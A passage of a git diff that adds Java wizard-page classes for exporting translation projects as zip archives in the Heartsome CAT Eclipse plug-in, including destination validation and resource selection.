this.selection = (StructuredSelection) viewPart.getSite().getSelectionProvider().getSelection(); + } + page = new ExportProjectWizardPage("", selection); + addPage(page); + } + +} diff --git a/ts/net.heartsome.cat.ts.exportproject/src/net/heartsome/cat/ts/exportproject/wizards/ExportProjectWizardPage.java b/ts/net.heartsome.cat.ts.exportproject/src/net/heartsome/cat/ts/exportproject/wizards/ExportProjectWizardPage.java new file mode 100644 index 0000000..46f3feb --- /dev/null +++ b/ts/net.heartsome.cat.ts.exportproject/src/net/heartsome/cat/ts/exportproject/wizards/ExportProjectWizardPage.java @@ -0,0 +1,363 @@ +package net.heartsome.cat.ts.exportproject.wizards; + +import java.io.File; +import java.lang.reflect.InvocationTargetException; +import java.util.List; + +import net.heartsome.cat.ts.exportproject.resource.Messages; + +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.jface.dialogs.ErrorDialog; +import org.eclipse.jface.dialogs.IDialogSettings; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.swt.SWT; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.internal.wizards.datatransfer.DataTransferMessages; +import org.eclipse.ui.internal.wizards.datatransfer.IDataTransferHelpContextIds; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 导出项目å‘å¯¼é¡µé¢ + * @author peason + * @version + * @since JDK1.6 + */ +@SuppressWarnings("restriction") +public class ExportProjectWizardPage extends WizardFileSystemResourceExportPage2 { + + private final static String STORE_DESTINATION_NAMES_ID = "ExportProjectWizardPage.STORE_DESTINATION_NAMES_ID"; //$NON-NLS-1$ + + private final static String STORE_CREATE_STRUCTURE_ID = "ExportProjectWizardPage.STORE_CREATE_STRUCTURE_ID"; //$NON-NLS-1$ + + private final static String STORE_COMPRESS_CONTENTS_ID = "ExportProjectWizardPage.STORE_COMPRESS_CONTENTS_ID"; //$NON-NLS-1$ + + /** + * Create an instance of this class. + * @param name + * java.lang.String + */ + protected ExportProjectWizardPage(String name, IStructuredSelection selection) { + super(name, selection); + setTitle(Messages.getString("wizard.ExportProjectWizardPage.title")); + setDescription(Messages.getString("wizard.ExportProjectWizardPage.desc")); + } + + /** + * Create an instance of this class + * @param selection + * the selection + */ + public ExportProjectWizardPage(IStructuredSelection selection) { + this("exportWizardPage", selection); //$NON-NLS-1$ + } + + /** + * (non-Javadoc) Method declared on IDialogPage. + */ + public void createControl(Composite parent) { + super.createControl(parent); + PlatformUI.getWorkbench().getHelpSystem() + .setHelp(getControl(), IDataTransferHelpContextIds.ZIP_FILE_EXPORT_WIZARD_PAGE); + } + + /** + * Returns a boolean indicating whether the directory portion of the passed pathname is valid and available for use. + */ + protected boolean ensureTargetDirectoryIsValid(String fullPathname) { + int separatorIndex = fullPathname.lastIndexOf(File.separator); + + if (separatorIndex == -1) { + return true; + } + + return ensureTargetIsValid(new File(fullPathname.substring(0, separatorIndex))); + } + + /** + * Returns a boolean indicating whether the passed File handle is is valid and available for use. + */ + protected boolean ensureTargetFileIsValid(File targetFile) { + if (targetFile.exists() && targetFile.isDirectory()) { + displayErrorDialog(DataTransferMessages.ZipExport_mustBeFile); + giveFocusToDestination(); + return false; + } + + if (targetFile.exists()) { + if (targetFile.canWrite()) { + if (!queryYesNoQuestion(DataTransferMessages.ZipExport_alreadyExists)) { + return false; + } + } else { + displayErrorDialog(DataTransferMessages.ZipExport_alreadyExistsError); + giveFocusToDestination(); + return false; + } + } + + return true; + } + + /** + * Ensures that the target output file and its containing directory are both valid and able to be used. Answer a + * boolean indicating validity. + */ + protected boolean ensureTargetIsValid() { + String targetPath = getDestinationValue(); + + if (!ensureTargetDirectoryIsValid(targetPath)) { + return false; + } + + if (!ensureTargetFileIsValid(new File(targetPath))) { + return false; + } + + return true; + } + + /** + * Export the passed resource and recursively export all of its child resources (iff it's a container). Answer a + * boolean indicating success. + */ + protected boolean executeExportOperation(ArchiveFileExportOperation2 op) { + op.setCreateLeadupStructure(true); + op.setUseCompression(true); + op.setUseTarFormat(false); + + try { + getContainer().run(true, true, op); + } catch (InterruptedException e) { + return false; + } catch (InvocationTargetException e) { + displayErrorDialog(e.getTargetException()); + return false; + } + + IStatus status = op.getStatus(); + if (!status.isOK()) { + ErrorDialog.openError(getContainer().getShell(), DataTransferMessages.DataTransfer_exportProblems, null, // no + // special + // message + status); + return false; + } + + return true; + } + + private static final Logger LOGGER = LoggerFactory.getLogger(ExportProjectWizardPage.class); + + /** + * The Finish button was pressed. Try to do the required work now and answer a boolean indicating success. If false + * is returned then the wizard will not close. + * @returns boolean + */ + public boolean finish() { + List resourcesToExport = getWhiteCheckedResources(); + List defaultExportItems = getDefaultExportItems(); + boolean isContain = false; + boolean isBelongToSameProject = false; + for (Object defaultObj : defaultExportItems) { + if (defaultObj instanceof IResource) { + try { + ((IResource) defaultObj).refreshLocal(IResource.DEPTH_ZERO, null); + } catch (CoreException e) { + e.printStackTrace(); + LOGGER.error("", e); + } + String defaultPath = ((IResource) defaultObj).getFullPath().toOSString(); + for (Object obj : resourcesToExport) { + if (obj instanceof IProject) { + String path = ((IProject) obj).getFullPath().toOSString(); + if (defaultPath.equals(path + System.getProperty("file.separator") + ".config") + || defaultPath.equals(path + System.getProperty("file.separator") + ".project")) { + isContain = true; + isBelongToSameProject = true; + break; + } + } + if (obj instanceof IResource) { + String path = ((IResource) obj).getFullPath().toOSString(); + String projectPath = ((IResource) obj).getProject().getFullPath().toOSString(); + String defaultProjectPath = ((IResource) defaultObj).getProject().getFullPath().toOSString(); + if (projectPath.equals(defaultProjectPath)) { + isBelongToSameProject = true; + } + if (path.equals(defaultPath)) { + isContain = true; + break; + } + } + } + if (!isContain && isBelongToSameProject) { + resourcesToExport.add(defaultObj); + } else { + isContain = false; + } + } + isBelongToSameProject = false; + } + if (!ensureTargetIsValid()) { + return false; + } + + // Save dirty editors if possible but do not stop if not all are saved + saveDirtyEditors(); + // about to invoke the operation so save our state + saveWidgetValues(); + + return executeExportOperation(new ArchiveFileExportOperation2(null, resourcesToExport, getDestinationValue())); + } + + /** + * Answer the string to display in the receiver as the destination type + */ + protected String getDestinationLabel() { + return DataTransferMessages.ArchiveExport_destinationLabel; + } + + /** + * Answer the contents of self's destination specification widget. If this value does not have a suffix then add it + * first. + */ + protected String getDestinationValue() { + String idealSuffix = getOutputSuffix(); + String destinationText = super.getDestinationValue(); + + // only append a suffix if the destination doesn't already have a . in + // its last path segment. + // Also prevent the user from selecting a directory. Allowing this will + // create a ".zip" file in the directory + if (destinationText.length() != 0 && !destinationText.endsWith(File.separator)) { + int dotIndex = destinationText.lastIndexOf('.'); + if (dotIndex != -1) { + // the last path seperator index + int pathSepIndex = destinationText.lastIndexOf(File.separator); + if (pathSepIndex != -1 && dotIndex < pathSepIndex) { + destinationText += idealSuffix; + } + } else { + destinationText += idealSuffix; + } + } + + return destinationText; + } + + /** + * Answer the suffix that files exported from this wizard should have. If this suffix is a file extension (which is + * typically the case) then it must include the leading period character. + */ + protected String getOutputSuffix() { + // if (zipFormatButton.getSelection()) { + return ".zip"; //$NON-NLS-1$ + // } else if (compressContentsCheckbox.getSelection()) { + // return ".tar.gz"; //$NON-NLS-1$ + // } else { + // return ".tar"; //$NON-NLS-1$ + // } + } + + /** + * Open an appropriate destination browser so that the user can specify a source to import from + */ + protected void handleDestinationBrowseButtonPressed() { + FileDialog dialog = new FileDialog(getContainer().getShell(), SWT.SAVE | SWT.SHEET); + dialog.setFilterExtensions(new String[] { "*.hszip", "*" }); //$NON-NLS-1$ //$NON-NLS-2$ + dialog.setText(DataTransferMessages.ArchiveExport_selectDestinationTitle); + String currentSourceString = getDestinationValue(); + int lastSeparatorIndex = currentSourceString.lastIndexOf(File.separator); + if (lastSeparatorIndex != -1) { + dialog.setFilterPath(currentSourceString.substring(0, lastSeparatorIndex)); + } + String selectedFileName = dialog.open(); + + if (selectedFileName != null) { + setErrorMessage(null); + setDestinationValue(selectedFileName); + if (getWhiteCheckedResources().size() > 0) { + setDescription(null); + } + } + } + + /** + * Hook method for saving widget values for restoration by the next instance of this class. + */ + protected void internalSaveWidgetValues() { + // update directory names history + IDialogSettings settings = getDialogSettings(); + if (settings != null) { + String[] directoryNames = settings.getArray(STORE_DESTINATION_NAMES_ID); + if (directoryNames == null) { + directoryNames = new String[0]; + } + + directoryNames = addToHistory(directoryNames, getDestinationValue()); + settings.put(STORE_DESTINATION_NAMES_ID, directoryNames); + + settings.put(STORE_CREATE_STRUCTURE_ID, true); + + settings.put(STORE_COMPRESS_CONTENTS_ID, true); + } + } + + /** + * Hook method for restoring widget values to the values that they held last time this wizard was used to + * completion. + */ + protected void restoreWidgetValues() { + IDialogSettings settings = getDialogSettings(); + if (settings != null) { + String[] directoryNames = settings.getArray(STORE_DESTINATION_NAMES_ID); + if (directoryNames == null || directoryNames.length == 0) { + return; // ie.- no settings stored + } + + // destination + setDestinationValue(directoryNames[0]); +// for (int i = 0; i < directoryNames.length; i++) { +// addDestinationItem(directoryNames[i]); +// } + } + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.ui.wizards.datatransfer.WizardFileSystemResourceExportPage1#destinationEmptyMessage() + */ + protected String destinationEmptyMessage() { + return DataTransferMessages.ArchiveExport_destinationEmpty; + } + + /** + * Answer a boolean indicating whether the receivers destination specification widgets currently all contain valid + * values. + */ + protected boolean validateDestinationGroup() { + // String destinationValue = getDestinationValue(); + // if (destinationValue.endsWith(".tar")) { //$NON-NLS-1$ + // compressContentsCheckbox.setSelection(false); + // targzFormatButton.setSelection(true); + // zipFormatButton.setSelection(false); + // } else if (destinationValue.endsWith(".tar.gz") //$NON-NLS-1$ + // || destinationValue.endsWith(".tgz")) { //$NON-NLS-1$ + // compressContentsCheckbox.setSelection(true); + // targzFormatButton.setSelection(true); + // zipFormatButton.setSelection(false); + // } else if (destinationValue.endsWith(".zip")) { //$NON-NLS-1$ + // zipFormatButton.setSelection(true); + // targzFormatButton.setSelection(false); + // } + + return super.validateDestinationGroup(); + } +} diff --git a/ts/net.heartsome.cat.ts.exportproject/src/net/heartsome/cat/ts/exportproject/wizards/WizardExportResourcesPage2.java b/ts/net.heartsome.cat.ts.exportproject/src/net/heartsome/cat/ts/exportproject/wizards/WizardExportResourcesPage2.java new file mode 100644 index 0000000..a8c56f5 --- /dev/null +++ b/ts/net.heartsome.cat.ts.exportproject/src/net/heartsome/cat/ts/exportproject/wizards/WizardExportResourcesPage2.java @@ -0,0 +1,573 @@ +package net.heartsome.cat.ts.exportproject.wizards; + +import java.util.ArrayList; +import java.util.Hashtable; +import java.util.Iterator; +import java.util.List; +import java.util.Map; +import java.util.Vector; + +import org.eclipse.core.resources.IContainer; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.viewers.CheckStateChangedEvent; +import org.eclipse.jface.viewers.ICheckStateListener; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.ITreeContentProvider; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.BusyIndicator; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.dialogs.TypeFilteringDialog; +import org.eclipse.ui.dialogs.WizardDataTransferPage; +import org.eclipse.ui.ide.IDE; +import org.eclipse.ui.internal.ide.DialogUtil; +import org.eclipse.ui.internal.ide.IDEWorkbenchMessages; +import org.eclipse.ui.internal.ide.IDEWorkbenchPlugin; +import org.eclipse.ui.internal.ide.dialogs.ResourceTreeAndListGroup; +import org.eclipse.ui.model.WorkbenchContentProvider; +import org.eclipse.ui.model.WorkbenchLabelProvider; + +/** + * 此类与 org.eclipse.ui.dialogs.WizardExportResourcesPage 代ç å¤§å¤šæ•°æ˜¯ä¸€æ ·çš„,区别为在左边树中选择目录åŽå³è¾¹è¿‡æ»¤æŽ‰äº†éšè—的文件 + * @author peason + * @version + * @since JDK1.6 + */ +@SuppressWarnings("restriction") +public abstract class WizardExportResourcesPage2 extends WizardDataTransferPage { + private IStructuredSelection initialResourceSelection; + + private List selectedTypes = new ArrayList(); + + // widgets + private ResourceTreeAndListGroup resourceGroup; + + private final static String SELECT_TYPES_TITLE = IDEWorkbenchMessages.WizardTransferPage_selectTypes; + + private final static String SELECT_ALL_TITLE = IDEWorkbenchMessages.WizardTransferPage_selectAll; + + private final static String DESELECT_ALL_TITLE = IDEWorkbenchMessages.WizardTransferPage_deselectAll; + + private List defaultExportItems = new ArrayList(); + + /** + * Creates an export wizard page. If the current resource selection is not empty then it will be used as the initial + * collection of resources selected for export. + * @param pageName + * the name of the page + * @param selection + * {@link IStructuredSelection} of {@link IResource} + * @see IDE#computeSelectedResources(IStructuredSelection) + */ + protected WizardExportResourcesPage2(String pageName, IStructuredSelection selection) { + super(pageName); + this.initialResourceSelection = selection; + } + + /** + * The addToHierarchyToCheckedStore implementation of this WizardDataTransferPage method + * returns false. Subclasses may override this method. + */ + protected boolean allowNewContainerName() { + return false; + } + + /** + * Creates a new button with the given id. + *

    + * The Dialog implementation of this framework method creates a standard push button, registers for + * selection events including button presses and registers default buttons with its shell. The button id is stored + * as the buttons client data. Note that the parent's layout is assumed to be a GridLayout and the number of columns + * in this layout is incremented. Subclasses may override. + *

    + * @param parent + * the parent composite + * @param id + * the id of the button (see IDialogConstants.*_ID constants for standard dialog button ids) + * @param label + * the label from the button + * @param defaultButton + * true if the button is to be the default button, and false otherwise + */ + protected Button createButton(Composite parent, int id, String label, boolean defaultButton) { + // increment the number of columns in the button bar + ((GridLayout) parent.getLayout()).numColumns++; + + Button button = new Button(parent, SWT.PUSH); + + GridData buttonData = new GridData(GridData.FILL_HORIZONTAL); + button.setLayoutData(buttonData); + + button.setData(new Integer(id)); + button.setText(label); + button.setFont(parent.getFont()); + + if (defaultButton) { + Shell shell = parent.getShell(); + if (shell != null) { + shell.setDefaultButton(button); + } + button.setFocus(); + } + button.setFont(parent.getFont()); + setButtonLayoutData(button); + return button; + } + + /** + * Creates the buttons for selecting specific types or selecting all or none of the elements. + * @param parent + * the parent control + */ + protected final void createButtonsGroup(Composite parent) { + + Font font = parent.getFont(); + + // top level group + Composite buttonComposite = new Composite(parent, SWT.NONE); + buttonComposite.setFont(parent.getFont()); + + GridLayout layout = new GridLayout(); + layout.numColumns = 3; + layout.makeColumnsEqualWidth = true; + buttonComposite.setLayout(layout); + buttonComposite.setLayoutData(new GridData(GridData.VERTICAL_ALIGN_FILL | GridData.HORIZONTAL_ALIGN_FILL)); + + // types edit button + Button selectTypesButton = createButton(buttonComposite, IDialogConstants.SELECT_TYPES_ID, SELECT_TYPES_TITLE, + false); + + SelectionListener listener = new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + handleTypesEditButtonPressed(); + } + }; + selectTypesButton.addSelectionListener(listener); + selectTypesButton.setFont(font); + setButtonLayoutData(selectTypesButton); + + Button selectButton = createButton(buttonComposite, IDialogConstants.SELECT_ALL_ID, SELECT_ALL_TITLE, false); + + listener = new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + resourceGroup.setAllSelections(true); + updateWidgetEnablements(); + } + }; + selectButton.addSelectionListener(listener); + selectButton.setFont(font); + setButtonLayoutData(selectButton); + + Button deselectButton = createButton(buttonComposite, IDialogConstants.DESELECT_ALL_ID, DESELECT_ALL_TITLE, + false); + + listener = new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + resourceGroup.setAllSelections(false); + updateWidgetEnablements(); + } + }; + deselectButton.addSelectionListener(listener); + deselectButton.setFont(font); + setButtonLayoutData(deselectButton); + + } + + /** + * (non-Javadoc) Method declared on IDialogPage. + */ + public void createControl(Composite parent) { + + initializeDialogUnits(parent); + + Composite composite = new Composite(parent, SWT.NULL); + composite.setLayout(new GridLayout()); + composite.setLayoutData(new GridData(GridData.VERTICAL_ALIGN_FILL | GridData.HORIZONTAL_ALIGN_FILL)); + composite.setFont(parent.getFont()); + + createResourcesGroup(composite); + createButtonsGroup(composite); + + createDestinationGroup(composite); + + restoreResourceSpecificationWidgetValues(); // ie.- local + restoreWidgetValues(); // ie.- subclass hook + if (initialResourceSelection != null) { + setupBasedOnInitialSelections(); + } + + updateWidgetEnablements(); + setPageComplete(determinePageCompletion()); + setErrorMessage(null); // should not initially have error message + + setControl(composite); + } + + /** + * Creates the export destination specification visual components. + *

    + * Subclasses must implement this method. + *

    + * @param parent + * the parent control + */ + protected abstract void createDestinationGroup(Composite parent); + + /** + * Creates the checkbox tree and list for selecting resources. + * @param parent + * the parent control + */ + protected final void createResourcesGroup(Composite parent) { + + // create the input element, which has the root resource + // as its only child + List input = new ArrayList(); + IProject[] projects = ResourcesPlugin.getWorkspace().getRoot().getProjects(); + for (int i = 0; i < projects.length; i++) { + if (projects[i].isOpen()) { + input.add(projects[i]); + } + } + + this.resourceGroup = new ResourceTreeAndListGroup(parent, input, getResourceProvider(IResource.FOLDER + | IResource.PROJECT), WorkbenchLabelProvider.getDecoratingWorkbenchLabelProvider(), + getResourceProvider(IResource.FILE), WorkbenchLabelProvider.getDecoratingWorkbenchLabelProvider(), + SWT.NONE, DialogUtil.inRegularFontMode(parent)); + + ICheckStateListener listener = new ICheckStateListener() { + public void checkStateChanged(CheckStateChangedEvent event) { + updateWidgetEnablements(); + } + }; + + this.resourceGroup.addCheckStateListener(listener); + } + + /* + * @see WizardDataTransferPage.getErrorDialogTitle() + */ + protected String getErrorDialogTitle() { + return IDEWorkbenchMessages.WizardExportPage_errorDialogTitle; + } + + /** + * Obsolete method. This was implemented to handle the case where ensureLocal() needed to be called but it doesn't + * use it any longer. + * @deprecated Only retained for backwards compatibility. + */ + protected boolean ensureResourcesLocal(List resources) { + return true; + } + + /** + * Returns a new subcollection containing only those resources which are not local. + * @param originalList + * the original list of resources (element type: IResource) + * @return the new list of non-local resources (element type: IResource) + */ + protected List extractNonLocalResources(List originalList) { + Vector result = new Vector(originalList.size()); + Iterator resourcesEnum = originalList.iterator(); + + while (resourcesEnum.hasNext()) { + IResource currentResource = (IResource) resourcesEnum.next(); + if (!currentResource.isLocal(IResource.DEPTH_ZERO)) { + result.addElement(currentResource); + } + } + + return result; + } + + /** + * Returns a content provider for IResources that returns only children of the given resource type. + */ + private ITreeContentProvider getResourceProvider(final int resourceType) { + return new WorkbenchContentProvider() { + public Object[] getChildren(Object o) { + if (o instanceof IContainer) { + IResource[] members = null; + try { + members = ((IContainer) o).members(); + } catch (CoreException e) { + // just return an empty set of children + return new Object[0]; + } + + // filter out the desired resource types + ArrayList results = new ArrayList(); + for (int i = 0; i < members.length; i++) { + if (members[i].getName().equals(".config") || members[i].getName().equals(".project") ||members[i].getName().equalsIgnoreCase(".temp") ) { + defaultExportItems.add(members[i]); + continue; + } + // And the test bits with the resource types to see if they are what we want + if ((members[i].getType() & resourceType) > 0) { + results.add(members[i]); + } + } + return results.toArray(); + } + // input element case + if (o instanceof ArrayList) { + return ((ArrayList) o).toArray(); + } + return new Object[0]; + } + }; + } + + public List getDefaultExportItems() { + return defaultExportItems; + } + + /** + * Returns this page's collection of currently-specified resources to be exported. This is the primary resource + * selection facility accessor for subclasses. + * @return a collection of resources currently selected for export (element type: IResource) + */ + protected List getSelectedResources() { + Iterator resourcesToExportIterator = this.getSelectedResourcesIterator(); + List resourcesToExport = new ArrayList(); + while (resourcesToExportIterator.hasNext()) { + resourcesToExport.add(resourcesToExportIterator.next()); + } + return resourcesToExport; + } + + /** + * Returns this page's collection of currently-specified resources to be exported. This is the primary resource + * selection facility accessor for subclasses. + * @return an iterator over the collection of resources currently selected for export (element type: + * IResource). This will include white checked folders and individually checked files. + */ + protected Iterator getSelectedResourcesIterator() { + return this.resourceGroup.getAllCheckedListItems().iterator(); + } + + /** + * Returns the resource extensions currently specified to be exported. + * @return the resource extensions currently specified to be exported (element type: String) + */ + protected List getTypesToExport() { + + return selectedTypes; + } + + /** + * Returns this page's collection of currently-specified resources to be exported. This returns both folders and + * files - for just the files use getSelectedResources. + * @return a collection of resources currently selected for export (element type: IResource) + */ + protected List getWhiteCheckedResources() { + + return this.resourceGroup.getAllWhiteCheckedItems(); + } + + /** + * Queries the user for the types of resources to be exported and selects them in the checkbox group. + */ + protected void handleTypesEditButtonPressed() { + Object[] newSelectedTypes = queryResourceTypesToExport(); + + if (newSelectedTypes != null) { // ie.- did not press Cancel + this.selectedTypes = new ArrayList(newSelectedTypes.length); + for (int i = 0; i < newSelectedTypes.length; i++) { + this.selectedTypes.add(newSelectedTypes[i]); + } + setupSelectionsBasedOnSelectedTypes(); + } + + } + + /** + * Returns whether the extension of the given resource name is an extension that has been specified for export by + * the user. + * @param resourceName + * the resource name + * @return true if the resource name is suitable for export based upon its extension + */ + protected boolean hasExportableExtension(String resourceName) { + if (selectedTypes == null) { + return true; + } + + int separatorIndex = resourceName.lastIndexOf("."); //$NON-NLS-1$ + if (separatorIndex == -1) { + return false; + } + + String extension = resourceName.substring(separatorIndex + 1); + + Iterator it = selectedTypes.iterator(); + while (it.hasNext()) { + if (extension.equalsIgnoreCase((String) it.next())) { + return true; + } + } + + return false; + } + + /** + * Persists additional setting that are to be restored in the next instance of this page. + *

    + * The WizardImportPage implementation of this method does nothing. Subclasses may extend to persist + * additional settings. + *

    + */ + protected void internalSaveWidgetValues() { + } + + /** + * Queries the user for the resource types that are to be exported and returns these types as an array. + * @return the resource types selected for export (element type: String), or null if the + * user canceled the selection + */ + protected Object[] queryResourceTypesToExport() { + + TypeFilteringDialog dialog = new TypeFilteringDialog(getContainer().getShell(), getTypesToExport()); + + dialog.open(); + + return dialog.getResult(); + } + + /** + * Restores resource specification control settings that were persisted in the previous instance of this page. + * Subclasses wishing to restore persisted values for their controls may extend. + */ + protected void restoreResourceSpecificationWidgetValues() { + } + + /** + * Persists resource specification control setting that are to be restored in the next instance of this page. + * Subclasses wishing to persist additional setting for their controls should extend hook method + * internalSaveWidgetValues. + */ + protected void saveWidgetValues() { + + // allow subclasses to save values + internalSaveWidgetValues(); + + } + + /** + * Set the initial selections in the resource group. + */ + protected void setupBasedOnInitialSelections() { + + Iterator it = this.initialResourceSelection.iterator(); + while (it.hasNext()) { + IResource currentResource = (IResource) it.next(); + if (currentResource.getType() == IResource.FILE) { + this.resourceGroup.initialCheckListItem(currentResource); + } else { + this.resourceGroup.initialCheckTreeItem(currentResource); + } + } + } + + /** + * Update the tree to only select those elements that match the selected types + */ + private void setupSelectionsBasedOnSelectedTypes() { + + Runnable runnable = new Runnable() { + public void run() { + Map selectionMap = new Hashtable(); + // Only get the white selected ones + Iterator resourceIterator = resourceGroup.getAllWhiteCheckedItems().iterator(); + while (resourceIterator.hasNext()) { + // handle the files here - white checked containers require recursion + IResource resource = (IResource) resourceIterator.next(); + if (resource.getType() == IResource.FILE) { + if (hasExportableExtension(resource.getName())) { + List resourceList = new ArrayList(); + IContainer parent = resource.getParent(); + if (selectionMap.containsKey(parent)) { + resourceList = (List) selectionMap.get(parent); + } + resourceList.add(resource); + selectionMap.put(parent, resourceList); + } + } else { + setupSelectionsBasedOnSelectedTypes(selectionMap, (IContainer) resource); + } + } + resourceGroup.updateSelections(selectionMap); + } + }; + + BusyIndicator.showWhile(getShell().getDisplay(), runnable); + + } + + /** + * Set up the selection values for the resources and put them in the selectionMap. If a resource is a file see if it + * matches one of the selected extensions. If not then check the children. + */ + private void setupSelectionsBasedOnSelectedTypes(Map selectionMap, IContainer parent) { + + List selections = new ArrayList(); + IResource[] resources; + boolean hasFiles = false; + + try { + resources = parent.members(); + } catch (CoreException exception) { + // Just return if we can't get any info + return; + } + + for (int i = 0; i < resources.length; i++) { + IResource resource = resources[i]; + if (resource.getType() == IResource.FILE) { + if (hasExportableExtension(resource.getName())) { + hasFiles = true; + selections.add(resource); + } + } else { + setupSelectionsBasedOnSelectedTypes(selectionMap, (IContainer) resource); + } + } + + // Only add it to the list if there are files in this folder + if (hasFiles) { + selectionMap.put(parent, selections); + } + } + + /** + * Save any editors that the user wants to save before export. + * @return boolean if the save was successful. + */ + protected boolean saveDirtyEditors() { + return IDEWorkbenchPlugin.getDefault().getWorkbench().saveAllEditors(true); + } + + /** + * Check if widgets are enabled or disabled by a change in the dialog. + */ + protected void updateWidgetEnablements() { + + boolean pageComplete = determinePageCompletion(); + setPageComplete(pageComplete); + if (pageComplete) { + setMessage(null); + } + super.updateWidgetEnablements(); + } +} diff --git a/ts/net.heartsome.cat.ts.exportproject/src/net/heartsome/cat/ts/exportproject/wizards/WizardFileSystemResourceExportPage2.java b/ts/net.heartsome.cat.ts.exportproject/src/net/heartsome/cat/ts/exportproject/wizards/WizardFileSystemResourceExportPage2.java new file mode 100644 index 0000000..084cd73 --- /dev/null +++ b/ts/net.heartsome.cat.ts.exportproject/src/net/heartsome/cat/ts/exportproject/wizards/WizardFileSystemResourceExportPage2.java @@ -0,0 +1,500 @@ +package net.heartsome.cat.ts.exportproject.wizards; + +import java.io.File; +import java.lang.reflect.InvocationTargetException; +import java.util.List; + +import org.eclipse.core.resources.IContainer; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IPath; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Path; +import org.eclipse.jface.dialogs.ErrorDialog; +import org.eclipse.jface.dialogs.IDialogSettings; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.osgi.util.NLS; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.DirectoryDialog; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Text; +import org.eclipse.swt.widgets.Widget; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.internal.wizards.datatransfer.DataTransferMessages; +import org.eclipse.ui.internal.wizards.datatransfer.FileSystemExportOperation; +import org.eclipse.ui.internal.wizards.datatransfer.IDataTransferHelpContextIds; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 此类与 org.eclipse.ui.internal.wizards.datatransfer.WizardFileSystemResourceExportPage1 代ç å¤§å¤šæ•°æ˜¯ä¸€æ ·çš„,区别为删除了 Options 中的按钮。 + * @author peason + * @version + * @since JDK1.6 + */ +@SuppressWarnings("restriction") +public class WizardFileSystemResourceExportPage2 extends WizardExportResourcesPage2 implements Listener { + + // widgets + private Text destinationNameField; + + private Button destinationBrowseButton; + + protected Button overwriteExistingFilesCheckbox; + + // protected Button createDirectoryStructureButton; + + // protected Button createSelectionOnlyButton; + + // dialog store id constants + private static final String STORE_DESTINATION_NAMES_ID = "WizardFileSystemResourceExportPage2.STORE_DESTINATION_NAMES_ID"; //$NON-NLS-1$ + + private static final String STORE_OVERWRITE_EXISTING_FILES_ID = "WizardFileSystemResourceExportPage2.STORE_OVERWRITE_EXISTING_FILES_ID"; //$NON-NLS-1$ + + private static final String STORE_CREATE_STRUCTURE_ID = "WizardFileSystemResourceExportPage2.STORE_CREATE_STRUCTURE_ID"; //$NON-NLS-1$ + + // messages + private static final String SELECT_DESTINATION_MESSAGE = DataTransferMessages.FileExport_selectDestinationMessage; + + private static final String SELECT_DESTINATION_TITLE = DataTransferMessages.FileExport_selectDestinationTitle; + + /** + * Create an instance of this class + */ + protected WizardFileSystemResourceExportPage2(String name, IStructuredSelection selection) { + super(name, selection); + } + + /** + * Create an instance of this class. + * @param selection + * the selection + */ + public WizardFileSystemResourceExportPage2(IStructuredSelection selection) { + this("fileSystemExportPage2", selection); //$NON-NLS-1$ + setTitle(DataTransferMessages.DataTransfer_fileSystemTitle); + setDescription(DataTransferMessages.FileExport_exportLocalFileSystem); + } + + /** + * Add the passed value to self's destination widget's history + * @param value + * java.lang.String + */ +// protected void addDestinationItem(String value) { +// destinationNameField.add(value); +// } + + /** + * (non-Javadoc) Method declared on IDialogPage. + */ + public void createControl(Composite parent) { + super.createControl(parent); + giveFocusToDestination(); + PlatformUI.getWorkbench().getHelpSystem() + .setHelp(getControl(), IDataTransferHelpContextIds.FILE_SYSTEM_EXPORT_WIZARD_PAGE); + } + + /** + * Create the export destination specification widgets + * @param parent + * org.eclipse.swt.widgets.Composite + */ + protected void createDestinationGroup(Composite parent) { + + Font font = parent.getFont(); + // destination specification group + Composite destinationSelectionGroup = new Composite(parent, SWT.NONE); + GridLayout layout = new GridLayout(); + layout.numColumns = 3; + destinationSelectionGroup.setLayout(layout); + destinationSelectionGroup.setLayoutData(new GridData(GridData.HORIZONTAL_ALIGN_FILL + | GridData.VERTICAL_ALIGN_FILL)); + destinationSelectionGroup.setFont(font); + + Label destinationLabel = new Label(destinationSelectionGroup, SWT.NONE); + destinationLabel.setText(getDestinationLabel()); + destinationLabel.setFont(font); + + // destination name entry field + destinationNameField = new Text(destinationSelectionGroup, SWT.BORDER); + destinationNameField.addListener(SWT.Modify, this); + destinationNameField.addListener(SWT.Selection, this); 